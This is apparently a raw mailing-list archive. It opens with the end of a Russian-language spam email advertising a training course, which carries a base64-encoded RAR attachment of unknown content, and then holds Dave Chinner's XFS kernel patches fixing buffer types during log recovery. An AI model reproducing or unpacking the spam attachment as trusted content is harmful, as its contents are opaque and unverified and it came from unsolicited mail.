=95=D2=E8=EF=E8=F7=ED=FB=E5 =EE=F8=E8=E1=EA=E8 =EF=F0=E8 =EF=EE= =E4=E3=EE=F2=EE=E2=EA=E5 =EA =EF=F0=EE=E2=E5=F0=EA=E5 =E8=20 =EC=ED=EE=E3=EE=E5 =E4=F0=F3=E3=EE=E5...
 
=CF=EE=EB=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0 =EC=E5=F0=EE=EF=F0=E8= =FF=F2=E8=FF =E8 =F3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF =F3=F2=EE=F7= =ED=FF=E5=F2=F1=FF =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3:=20
 
+7 * =F1=EF=E1 * 6=D7 2 * 5 8 =E7l
 
=CF=EE =EF=F0=EE=F5=EE=E6=E4=E5=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0= =E5=F2=F1=FF =F3=E4=EE=F1=F2=EE=E2=E5=F0=E5=ED=E8=E5 =F3=F1=F2=E0=ED=EE=E2= =EB=E5=ED=ED=EE=E3=EE=20 =EE=E1=F0=E0=E7=F6=E0!
------=_NextPart_001_1407_01CEA77A.2A0E1DE0-- ------=_NextPart_000_1406_01CEA77A.2A0E1DE0 Content-Type: application/octet-stream; name="__prikrepl_2013.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="__prikrepl_2013.rar" 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 ------=_NextPart_000_1406_01CEA77A.2A0E1DE0-- From dave@fromorbit.com Sun Sep 1 19:32:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 16AE229DFB for ; Sun, 1 Sep 2013 19:32:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E9F778F8049 for ; Sun, 1 Sep 2013 17:32:18 -0700 (PDT) X-ASG-Debug-ID: 1378081937-04bdf02f20ceb130001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id J9GssHD3ZmnOPmjF for ; Sun, 01 Sep 2013 17:32:17 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngHAA/cI1J5LJ62/2dsb2JhbABbgwetepUdF3SCJAEBBScvMwgYMTkDGxmIAbkVkByEBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 10:02:10 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGI3p-00088o-A5 for xfs@oss.sgi.com; Mon, 02 Sep 2013 10:32:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGI3p-0004qK-9K for xfs@oss.sgi.com; Mon, 02 Sep 2013 10:32:05 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: ensure we copy buffer type in da btree root splits Date: Mon, 2 Sep 2013 10:32:01 +1000 X-ASG-Orig-Subj: [PATCH 2/2] xfs: ensure we copy buffer type in da btree root splits Message-Id: <1378081921-18570-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378081921-18570-1-git-send-email-david@fromorbit.com> References: <1378081921-18570-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378081937 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When splitting the root of the da btree, we shuffled data between buffers and the structures that track them. At one point, we copy data and state from one buffer to another, including the ops aasociated with the buffer. When we do this, we also need to copy the buffer type associated with the buf log item so that the buffer is logged correctly. If we don't do that, log recovery won't recognise it and hence it won't recalculate the CRC on the buffer after recovery. This leads to a directory block that can't be read after recovery has run. Found by inspection after finding the same problem with remote symlink buffers. Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_btree.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index d4e59a4..069537c 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -635,6 +635,7 @@ xfs_da3_root_split( xfs_trans_log_buf(tp, bp, 0, size - 1); bp->b_ops = blk1->bp->b_ops; + xfs_trans_buf_copy_type(bp, blk1->bp); blk1->bp = bp; blk1->blkno = blkno; -- 1.8.3.2 From dave@fromorbit.com Sun Sep 1 19:32:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6F3EC29DFB for ; Sun, 1 Sep 2013 19:32:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4E77D8F8039 for ; Sun, 1 Sep 2013 17:32:17 -0700 (PDT) X-ASG-Debug-ID: 1378081931-04cbb02c3ccbc550001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id BgEAd9YXZ26FvXOO for ; Sun, 01 Sep 2013 17:32:12 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngHAA/cI1J5LJ62/2dsb2JhbABbgwetepUdF3SCJAEBBScvMwgYMSEYAxsZh3ADDq8gDYlojQ+DDYQHA5YMjiCFL4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 10:02:10 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGI3p-00088n-9Y for xfs@oss.sgi.com; Mon, 02 Sep 2013 10:32:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGI3p-0004qF-8k for xfs@oss.sgi.com; Mon, 02 Sep 2013 10:32:05 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: set remote symlink buffer type for recovery Date: Mon, 2 Sep 2013 10:32:00 +1000 X-ASG-Orig-Subj: [PATCH 1/2] xfs: set remote symlink buffer type for recovery Message-Id: <1378081921-18570-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378081921-18570-1-git-send-email-david@fromorbit.com> References: <1378081921-18570-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378081931 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620b, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.50 BSF_SC0_SA620b Custom Rule SA620b From: Dave Chinner The logging of a remote symlink block does not set the buffer type being logged, and hence on recovery the type of buffer is not recognised and hence CRCs are not calculated after replay. This results in log recoery throwing: XFS (vdc): Unknown buffer type 0 errors, and subsequent reads of the symlink failing CRC verification. Found via fsstress + godown. Reported by: Michael L. Semon Signed-off-by: Dave Chinner --- fs/xfs/xfs_symlink.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 2f2a7c0..f622a97 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -41,6 +41,7 @@ #include "xfs_trans_space.h" #include "xfs_trace.h" #include "xfs_symlink.h" +#include "xfs_buf_item.h" /* ----- Kernel only functions below ----- */ STATIC int @@ -363,6 +364,7 @@ xfs_symlink( pathlen -= byte_cnt; offset += byte_cnt; + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SYMLINK_BUF); xfs_trans_log_buf(tp, bp, 0, (buf + byte_cnt - 1) - (char *)bp->b_addr); } -- 1.8.3.2 From dave@fromorbit.com Sun Sep 1 19:32:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 13CFB29E04 for ; Sun, 1 Sep 2013 19:32:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0102730404E for ; Sun, 1 Sep 2013 17:32:17 -0700 (PDT) X-ASG-Debug-ID: 1378081931-04cbb02c3ccbc550002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id EI392kkTQckCJwRq for ; Sun, 01 Sep 2013 17:32:16 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AncHAA/cI1J5LJ62/2dsb2JhbABbgwetepUdF3SDATuBAgOINZg3oF6QHIQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 10:02:10 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGI3p-00088m-8v for xfs@oss.sgi.com; Mon, 02 Sep 2013 10:32:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGI3p-0004qC-7y for xfs@oss.sgi.com; Mon, 02 Sep 2013 10:32:05 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: log recovery buffer fixes Date: Mon, 2 Sep 2013 10:31:59 +1000 X-ASG-Orig-Subj: [PATCH 0/2] xfs: log recovery buffer fixes Message-Id: <1378081921-18570-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378081936 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Folks, these two patches make sure log recovery correctly identifies the type of buffer being recovered. The buffer log format type field is not always being set correctly, and that leads to invalid remote symlink and directory blocks after recovery as they hav enot had the CRC recalculated after being recovered. Cheers, Dave. From bpm@oss.sgi.com Sun Sep 1 19:40:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, 